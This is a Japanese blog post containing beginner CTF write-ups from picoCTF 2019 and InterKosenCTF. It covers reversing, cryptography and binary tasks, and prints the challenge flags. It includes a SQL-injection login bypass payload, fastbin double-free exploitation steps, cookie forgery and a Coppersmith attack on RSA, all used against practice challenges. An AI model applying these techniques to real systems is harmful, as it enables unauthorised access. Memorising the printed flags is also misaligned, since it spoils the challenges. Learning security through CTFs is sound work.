実装ではCのrand()を使う必要があるので、まずはゲームで0を入力して1つ目の値が当たるまで実行しました。当たったら同時に別画面で開いている画面でcのプログラムを実行して、その時刻周辺でrand()の1つ目の値が0となるようなseedを探し出して出力しました。
初めは現在時刻の±10くらいを調べていて目的のseedが見つからなかったのですが、自分の環境では現在時刻-11くらいで上手くいくことがわかりました。
ソースコード(クリックで展開)
#include <stdlib.h> #include <stdio.h> #include <time.h> int main(){ time_t time_now = time(0); for(time_t i = time_now - 15; i < time_now + 15; i++){ srand(i); if((rand()&0xf) == 0){ printf("---------------- %ld -----------------\n", i-time_now); for(unsigned int j=0; j<30; j++) printf("%d\n",rand()&0xf); } } }
picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}
Revese Engineering
asm1 - Points: 200
アセンブリコードが与えられます。引数を0x1b4
としたときの戻り値は何という問題です。
asm1: <+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x421 <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x1b4 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0x13 <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0x13 <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0x7f7 <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0x13 <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0x13 <+60>: pop ebp <+61>: ret
順に読んでいきます。まず引数はebp+0x8に入ります。
3行目cmp DWORD PTR [ebp+0x8],0x421
で0x1b4
と0x421
を比較をしていますが、0x421
の方が大きいのでjgはjmpしません。
次にcmp DWORD PTR [ebp+0x8],0x1b4
は等しいので、jneはjmpしません。
あとはadd eax,0x13
で0x13
が足された後、jmp 0x529 <asm1+60>
で最後まで飛んでいるので、答えは0x1b4 + 0x13
です。
0x1c7
asm2 - Points: 250
同じような問題で、今度は引数が0xc
と0x15
の2つです。順に読んでいきます。
asm2: <+0>: push ebp <+1>: mov ebp,esp <+3>: sub esp,0x10 <+6>: mov eax,DWORD PTR [ebp+0xc] <+9>: mov DWORD PTR [ebp-0x4],eax <+12>: mov eax,DWORD PTR [ebp+0x8] <+15>: mov DWORD PTR [ebp-0x8],eax <+18>: jmp 0x50c <asm2+31> <+20>: add DWORD PTR [ebp-0x4],0x1 <+24>: add DWORD PTR [ebp-0x8],0xaf <+31>: cmp DWORD PTR [ebp-0x8],0xa3d3 <+38>: jle 0x501 <asm2+20> <+40>: mov eax,DWORD PTR [ebp-0x4] <+43>: leave <+44>: ret
まず、引数2がmove eax,DWORD PTR [ebp+0xc]
でeaxに移った後、move DWORD PTR [ebp-0x4],eax
でebp-0x4に移されています。
その後、引数1が move eax,DWORD PTR [ebp+0x8]
からmove DWORD PTR [ebp-0x8],eax
でebp-0x8に移った後、jmp 0x50c <asm2+31>
で+31に飛ばされます。
+31ではcmp DWORD PTR [ebp-0x8],0xa3d3
で0xa3d3
と比較していて、以下だと+20に飛ばされます。+20から+31では引数2に0x1
、引数1に0xaf
を足していることがわかります。
以上からこれはwhileループであり、while(ebp-0x8 < 0xa3d3)ならaddの処理を行うというコードであることがわかりました。
ソースコード(クリックで展開)
arg1 = 0xc arg2 = 0x15 while arg1 <= 0xa3d3: arg2+=0x1 arg1+=0xaf print(hex(arg2))
0x105
asm3 - Points: 300
次は引数が0xdff83990,0xeeff29ae,0xfa706498
の3つです。読むのが大変になってきたのでpwntoolsを使ってみます。まだまだ使いこなせていませんが、色々できて便利ですね。
ソースコード(クリックで展開)
from pwn import * context.arch = 'i386' asm3 = ''' asm3: push ebp mov ebp,esp xor eax,eax mov ah,BYTE PTR [ebp+0xb] shl ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xe] xor ax,WORD PTR [ebp+0x12] nop pop ebp ret ''' s = '' # asm3(0xdff83990,0xfe1a474d,0xd5373fd4) s += shellcraft.push(0xfa706498) s += shellcraft.push(0xeeff29ae) s += shellcraft.push(0xdff83990) s += 'call asm3\n' # print result s += shellcraft.push('eax') s += shellcraft.write(1, 'esp', 4) # exit s += shellcraft.exit() # asm3 s += asm3 p = run_assembly(s) print hex(u32(p.recvall()))
0x5a7
vault-door-training - Points: 50
Javaのソースコードが与えられます。パスワードを認証するプログラムのようなものですが、パスワードがそのまま書いてあります。
picoCTF{w4rm1ng_Up_w1tH_jAv4_ca5ae7fcc95}
vault-door-1 - Points: 100
前問と同様で今度はパスワードが一文字ずつスクランブルされています。コピペして少しコードを変えてJavaプログラムを実行するのがわかりやすく速いと思いました。実行環境が無かったのでWandoboxで実行しています。
ソースコード(クリックで展開)
import java.util.*; class VaultDoor1 { public static void main(String args[]) { char[] password = new char[32]; password[0] = 'd'; password[29] = '7'; password[4] = 'r'; password[2] = '5'; password[23] = 'r'; password[3] = 'c'; password[17] = '4'; password[1] = '3'; password[7] = 'b'; password[10] = '_'; password[5] = '4'; password[9] = '3'; password[11] = 't'; password[15] = 'c'; password[8] = 'l'; password[12] = 'H'; password[20] = 'c'; password[14] = '_'; password[6] = 'm'; password[24] = '5'; password[18] = 'r'; password[13] = '3'; password[19] = '4'; password[21] = 'T'; password[16] = 'H'; password[27] = '4'; password[30] = 'f'; password[25] = '_'; password[22] = '3'; password[28] = '8'; password[26] = '2'; password[31] = '0'; System.out.println(password); } }
picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_2487f0}
vault-door-3 - Points: 200
今度はfor文でパスワードが混ぜられています。これも元のコードを少し変えれば戻せます。
ソースコード(クリックで展開)
import java.util.*; class VaultDoor3 { public static void main(String args[]) { String password = "jU5t_a_sna_3lpm12gb44_u_4_m1r240"; char[] buffer = new char[32]; int i=0; for (; i<8; i++) { buffer[i] = password.charAt(i); } for (; i<16; i++) { buffer[i] = password.charAt(23-i); } for (; i<32; i+=2) { buffer[i] = password.charAt(46-i); } for (i=31; i>=17; i-=2) { buffer[i] = password.charAt(i); } System.out.println(buffer); } }
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_41b220}
vault-door-4 - Points: 250
今度はbyteとStringの変換が入りますが、元のプログラムをいじればあまり関係ありません。
ソースコード(クリックで展開)
import java.nio.charset.StandardCharsets; class VaultDoor4 { public static void main(String[] args) { //byte → String byte[] sbyte = "apple".getBytes(StandardCharsets.UTF_8); byte[] myBytes = { 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, 0142, 0131, 0164, 063 , 0163, 0137, 062 , 060 , '1' , 'b' , '3' , '5' , '2' , 'd' , '6' , 'c' , }; String str = new String(myBytes); System.out.println(str); } }
jU5t_4_bUnCh_0f_bYt3s_201b352d6c
vault-door-5 - Points: 300
URLencodeされた後にBase64Encodeされていて、その結果がソースコードにあります。ヒントのツールを使うと一発です。
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}
vault-door-6 - Points: 350
今度はバイトに変換した状態で0x55
とxorを取っています。xorは2回やれば0なので同じ処理をするプログラムを書きます。
ソースコード(クリックで展開)
import java.util.*; class VaultDoor6 { public static void main(String args[]) { byte[] myBytes = { 0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d, 0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa , 0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27, 0xa , 0x65, 0x36, 0x66, 0x34, 0x67, 0x31, 0x30, }; byte[] passBytes = new byte[32]; for (int i=0; i<32; i++) { System.out.print((char)(myBytes[i] ^ 0x55)); } } }
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_0c3a2de}
vault-door-7 - Points: 400
今度は4byteずつ1つのpackされています。ビットシフトして戻していけばよいですが、ソースコードのコメントに非常に優しく解説してくれているので簡単ですね。
ソースコード(クリックで展開)
import java.util.*; class VaultDoor7 { public static void main(String args[]) { int[] x = {1096770097, 1952395366, 1600270708, 1601398833, 1716808014, 1734293602, 1701067056, 892756537}; int[] ans = new int[32]; for (int i=0; i<8; i++){ for(int j=0; j < 4; j++){ ans[i*4 + j] = ((((1 << 8) - 1) << (8 * (3 - j))) & x[i]) >> 8 * (3 - j); } } for(int i=0; i<32; i++) System.out.print((char)(ans[i])); } public int[] passwordToIntArray(String hex) { int[] x = new int[8]; byte[] hexBytes = hex.getBytes(); for (int i=0; i<8; i++) { x[i] = hexBytes[i*4] << 24 | hexBytes[i*4+1] << 16 | hexBytes[i*4+2] << 8 | hexBytes[i*4+3]; } return x; } }
picoCTF{A_b1t_0f_b1t_sh1fTiNg_8bed9056b9}
vault-door-8 - Points: 450
最後の問題は改行やスペースをなくすことで可読性を下げています。とりあえずフォーマッターに突っ込んで読みやすくします。swichBitsはビットを入れ替えてるだけっぽいので、情報が消えることは無いです。なので、全ての処理を逆順に行うようなコードを書きます。
ソースコード(クリックで展開)
import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.security.*; class VaultDoor8 { public static void main(String args[]) { char[] expected = { 0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0x94, 0x85, 0xC0, 0xA5, 0xC0, 0xB4, 0xC2, 0xF0, 0xF0 }; char[] ans = scramble_rev(expected); for (int i = 0; i < ans.length; i++) System.out.print(ans[i]); } public static char[] scramble_rev(char[] a) { for (int b = 0; b < a.length; b++) { char c = a[b]; c = switchBits(c, 6, 7); c = switchBits(c, 2, 5); c = switchBits(c, 3, 4); c = switchBits(c, 0, 1); c = switchBits(c, 4, 7); c = switchBits(c, 5, 6); c = switchBits(c, 0, 3); c = switchBits(c, 1, 2); a[b] = c; } return a; } public static char switchBits(char c, int p1, int p2) { char mask1 = (char)(1 << p1); char mask2 = (char)(1 << p2); char bit1 = (char)(c & mask1); char bit2 = (char)(c & mask2); char rest = (char)(c & ~(mask1 | mask2)); char shift = (char)(p2 - p1); char result = (char)((bit1 << shift) | (bit2 >> shift) | rest); return result; } }
picoCTF{s0m3_m0r3_b1t_sh1fTiNg_ad0f0c833}
reverse_cipher - Points: 300
バイナリファイルとテキストが与えられます。テキストはpicoCTF{w1{1wq87g_9654g}
でバイナリファイルを実行した出力だと推測できます。
radare2を使って解析していきます。問題自体はForensicsのInvestigative Reversingとそっくりです。
int32_t main (void) { void * ptr; int32_t var_39h; size_t var_24h; file* var_20h; file* stream; int32_t var_ch; int32_t var_8h; int32_t c; rax = fopen ("flag.txt", 0x00002008); stream = rax; rax = fopen ("rev_this", 0x00002013); var_20h = rax; if (stream == 0) { puts ("No flag found, please make sure this is run on the server"); } if (var_20h == 0) { puts ("please run this on the server"); } rdx = stream; rax = &ptr; eax = fread (rax, 0x18, 1, rdx); var_24h = eax; if (var_24h <= 0) { exit (0); } var_8h = 0; while (var_8h <= 7) { eax = var_8h; rax = (int64_t) eax; eax = *((rbp + rax - 0x50)); c = al; eax = (int32_t) c; rdx = var_20h; fputc (eax, var_20h); var_8h++; } var_ch = 8; while (var_ch <= 0x16) { eax = var_ch; rax = (int64_t) eax; eax = *((rbp + rax - 0x50)); c = al; eax = var_ch; eax &= 1; if (eax == 0) { eax = (int32_t) c; eax += 5; var_8h = 0; while (var_8h <= 7) { eax = var_8h; rax = (int64_t) eax; eax = *((rbp + rax - 0x50)); c = al; eax = (int32_t) c; rdx = var_20h; fputc (eax, var_20h); var_8h++; } var_ch = 8; while (var_ch <= 0x16) { eax = var_ch; rax = (int64_t) eax; eax = *((rbp + rax - 0x50)); c = al; eax = var_ch; eax &= 1; if (eax == 0) { eax = (int32_t) c; eax += 5; } else { eax = (int32_t) c; eax -= 2; c = al; } eax = (int32_t) c; rdx = var_20h; fputc (eax, var_20h); var_ch++; } eax = (int32_t) var_39h; c = al; eax = (int32_t) c; rdx = var_20h; fputc (eax, var_20h); rax = var_20h; fclose (var_20h); rax = stream; fclose (stream); return rax; }
"flag.txt"という元のファイルから変換されて出力されたものが"rev_this"とわかります。eax = fread (rax, 0x18, 1, rdx);
からフラグの文字列は24文字で出力を見ても減ってないことがわかります。それぞれwhile文を解析していくと、0-7文字目はそのまま、8-0x16文字目はeax &= 1;
でif (eax == 0)
で分けられている、つまり偶奇で別の処理をしていることがわかります。偶数は-2、奇数は+5をしているのでその逆の処理をします。
ソースコード(クリックで展開)
s = 'picoCTF{w1{1wq87g_9654g}' ans = '' for i in range(len(s)): if 0 <= i and i <= 7: ans += s[i] elif 8 <= i and i <=0x16: if i & 1 == 0: ans += chr(ord(s[i])-5) else : ans += chr(ord(s[i])+2) else: ans += s[i] print(ans)
picoCTF{r3v3rs39ba4806b}
Need For Speed - Points: 400
バイナリファイルのみが渡されます。実行してみるとSIGALRMで終了してしまいます。gdbで走らせてみると少し待ってフラグが表示されます?
答えは出たのですが軽く解析してみると、mainではheader(),set_timer(),get_key(),print_flag()が順に実行されていています。get_key()の中のcalculate_key()では、最適化オプションを付けたら消えるであろうような無駄なwhile文が走っていて、keyを手に入れるまでに時間がかかっているためにアラームに間に合わないという感じです。ですが、アラームが起きたときに分岐してexitに飛ばされるとかではないので、gdbで実行したり、アラームを無効化して待てば、そのうちdisplay_flag()が実行されるということでした。
int32_t main (int32_t argc, char ** argv) { char ** var_10h; int32_t var_4h; rdi = argc; rsi = argv; var_4h = edi; var_10h = rsi; eax = 0; header (); eax = 0; set_timer (); eax = 0; get_key (); eax = 0; print_flag (); eax = 0; return eax; } uint64_t set_timer (void) { int32_t var_8h; var_ch = 1; rsi = sym_alarm_handler; edi = 0xe; rax = sysv_signal (); var_8h = rax; if (var_8h == -1) { esi = 0x3c; eax = 0; printf ("\n\nSomething bad happened here. \nIf running on the shell server\nPlease contact the admins with \"need-for-speed.c:%d\".\n"); exit (0); } eax = var_ch; edi = var_ch; alarm (); return rax; } int32_t get_key (void) { puts ("Creating key..."); eax = 0; eax = calculate_key (); *(obj.key) = eax; puts ("Finished"); return eax; } int32_t calculate_key (void) { uint32_t var_4h; var_4h = 0xd8c2071c; do { var_4h--; } while (var_4h != 0xec61038e); eax = var_4h; return eax; }
PICOCTF{Good job keeping bus #236cb1c9 speeding along!}
Time's up - Points: 400
前問の続きという感じですが、今度はgenarate_challenge()という関数で括弧と+-と数字からなる式が表示され、SIGALRMまでに正しい答えを入力するとsystem ("/bin/cat flag.txt")
からサーバ上の"flag.txt"が表示さます。
picoのサーバ上のgdbでアラーム無効化して実行してみますが、permission errorで見れませんでした。
解析結果のCの擬似コード(クリックで展開)
int32_t main (void) { int32_t var_4h; var_4h = 0x1388; eax = 0; init_randomness (); eax = 0; printf ("Challenge: "); eax = 0; generate_challenge (); putchar (0xa); rax = stdout; fflush (*(obj.stdout)); puts ("Setting alarm..."); rax = stdout; fflush (*(obj.stdout)); eax = var_4h; esi = 0; edi = eax; ualarm (); eax = 0; printf ("Solution? "); rsi = obj_guess; rdi = "%lld"; eax = 0; isoc99_scanf (); rdx = guess; rax = result; if (rdx == rax) { puts ("Congrats! Here is the flag!"); system ("/bin/cat flag.txt"); } else { puts ("Nope!"); } eax = 0; return rax; }
ということで普通にpythonで式を計算して答えを送信するプログラムを書きますが、Congrats!まで見えたりするものの、フラグが表示されるまでには間に合いません。
仕方がないのでチームメイトに概要を説明して投げたらRubyで書いてくれ、それが通りました。
一応書いたpythonコードも載せます。pwntoolsを使って普通に間に合ってる人もいるみたいなので何が遅かったのか考えましたが、おそらくexec("ans =" + chal[10:])
がかなり遅くて、ans = eval(chal[10:])
と書けば間に合う気がします。
サーバーにsshでつながらなくなっているので確認できません。pythonの知識が無かったのと、pythonを使っていて時間を気にしたことが無かったので中々厳しかったです。
ソースコード(クリックで展開)
from pwn import * pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/time-s-up_6_480d53541469436212e30dad5b4ce691') p = pico_ssh.process("./times-up", ) # print(p.recvuntil("Challenge: ")) chal = p.recvline() exec("ans =" + chal[10:]) # print(ans) # p.recv(27) p.sendline(str(ans)) flag = p.recvall() print(flag)
Web Explotitation
Open-to-admins - Points: 200
問題文のポートにつなぐと、Flagボタンが中央にあり、他のボタンはまだ実装されていないと表示されます。ヒントを眺め、Cokkieにadmin True, time 1400を加えた状態でFlagボタンを押すと表示されました。Web何にもわからん。
picoCTF{0p3n_t0_adm1n5_b6ea8359}
Irish-Name-Repo 2 - Points: 350
SQLインジェクションの雰囲気を感じたので、ユーザー名のところにチートシートのadmin'--
を投げたら通りました。
なんも理解していないので、解説はチームメイトのブログに任せています笑。
picoCTF{m0R3_SQL_plz_c1c3dff7}
おわりに
問題数多すぎますね。ここまで読んでる人いなさそうです。
かなりためになる問題ばかりでしたし、解けなかった問題もwrite-upなどを見ながら解いていきたいです。
CTFめちゃくちゃ楽しいですが、人生を破壊しないように気を付けましょう。僕の生活リズムとAtcoder ProblemsのStreak 120 daysを破壊していきました。
InterKosenCTF writeup
はじめに
InterKosenCTF に参加しました。
@betit0919とチームを組ませてもらって結果は22位(正の得点91チーム中)でした!
CTF初参加ではありましたが、いくつかの問題は自力で解くことができ、CTFの面白さを知ることができて本当に楽しいコンテストでした。
ということで、書いてみようと思います。writeupを書くまでがCTF #InterKosenCTF
— ptr-yudai (@ptrYudai) 2019年8月12日
参加まで
CTFが何なのかも全くわからない状態だったのですが、@betit0919がことあるごとに誘ってくれるので、暇だしせっかくなら出てみようかなと参加しました。 思えば競技プログラミングもこんな感じで@betit0919に誘われ、沼にはまっていった気がします……。
一日目の夕方ごろに家まで行って簡単に解いた問題の説明を受け、CTFの雰囲気をなんとなく理解し、問題を解き始めました。
解けた問題
2人で解いた問題に関してはチームメイトのwite-up betit0919.hatenablog.com にも載っているので参考にしてください。
Hugtto!
概要
- 時刻を元に作った値をseedとした乱数(0-2)がある
- 乱数をもとに画像中のrgbのいずれかが変更されflagが埋め込まれている
解法
- flagが"InterKosen{"で始まるので一致する部分を全て挙げる
- 開始位置の差分からflag長を推測 (544bit)
- 544bitずつに分けてrgbの値を全て足す(544bit*1400ほど足しました)
- flagで確定している01の分偏るのでそこからflagを逆算
書いたコードは こちら (なんどもバグらせて@betit0919に助けてもらいました笑)
感想
544bitで区切ったところまでは不安でしたが、足し合わせたときに綺麗に偏って勝ちを確信しました(なおそこからビッグエンディアンであることに気づかずしばらくハマる)。 個人的に解いた中で一番面白いと感じた問題でした。
なお、 作者の想定解 は画像の生成時刻からseedを求める解法で、なるほど~ってなりました。
E_S_P
概要
RSA暗号の問題
- e, N は与えられた出力のテキストファイルからわかる
- 平文がyukkoという名の文字列とflagを足し合わせたものになっている
- yukko = "Yukko the ESPer: My amazing ESP can help you to get the flag! -----> "と長い
解法
こちらの非常にわかりやすいスライド を参考にすると、平文の上位bitがかなりわかっているので、Coppersmith's Attackが利用できる
こちらの非常にわかりやすいCoppersmith's Attack の参考実装 を元に実装すると、そのままでは答えが出ない
SageMathのドキュメント を元にsmall_rootsのパラメータを適当にいじると答えが出る
書いたコードは こちら
感想
解法自体は"ググリ力"という感じでした笑 実際には解けるまでに数時間かかっています。
この問題を解くにあたってRSA暗号とその攻撃方法などについていろいろと勉強しましたが、めちゃくちゃ面白かったです。
pascal homomorphicity
概要
- RSA暗号に似た暗号が c = (n+1)e (mod n2) で生成される
- e = key の場合の出力c_keyが与えられる
- こちらの入力したeに対し、長さが十分なら計算したcを返してくれる
解法
- (n+1)e (mod n2) = en +1 であることを利用
- 初めのc_keyは c_key = key * n + 1 を満たすので、c_keyをそのまま投げれば、n * (key * n + 1 ) (mod n2) = n より、nが手に入る
- c_key = key * n + 1 からkeyが求まる
感想
解法自体はとてもあっけないのですが、本質である c = en + 1 に気づくまでにありえないくらい時間を溶かしてしまいました。RSA暗号だと勘違いしてRSA attack を調べることに熱中してしまったのが敗因です笑。Common Module Attackを実装して2組の(e,c)から平文を求めたらn+1が出てきて(当然)、方針の間違いに気がつきました。
この問題、平文の部分を隠されても解ける?のでその方が面白かった気がします(ただこれは難しくなりすぎるかもしれません)。
fastbin tutorial
概要
- 指定のサーバにつなぐと簡単なインターフェイスが与えられる
- 操作は、1 malloc, 2 free, 3 read, 4 write ができ、fastbinと変数ABCのアドレスが表示されている
- flagが格納されているアドレス(前半部はランダム) が与えられる
解法
fastbinについて調べるとdouble free attackというものが出てくる
- 1A 1B とA, Bをmalloc
- 2A 2B 2Aと交互にfreeするとAをdouble freeできる
- 1CとCをmallocするとAにつながるので4Cでアドレスを書き込む
- 1Cでmallocしていくと書き込んだアドレスにつなげる
- 3でreadする
感想
まともにやったように見えますが、アドレスの書き込み方が良くわかっていないので、実験を繰り返して、ASCIIで表示されることがわかり、ASCIIで入力できるアドレスが来るまでガチャをするなどしました。
まとめ
InterKosenCTF は、CTF初参加でも楽しむことのできるすばらしいコンテストでした~!pwnの2問目のshopkeeperもあと少しで解けそうだったので復習しようと思います。
暗号や脆弱性をついた攻撃、リバースエンジニアリングなどハッキングっぽいことができてわくわくしました。知識は圧倒的に足りていないので、勉強して他のCTFにも参加していきたいです。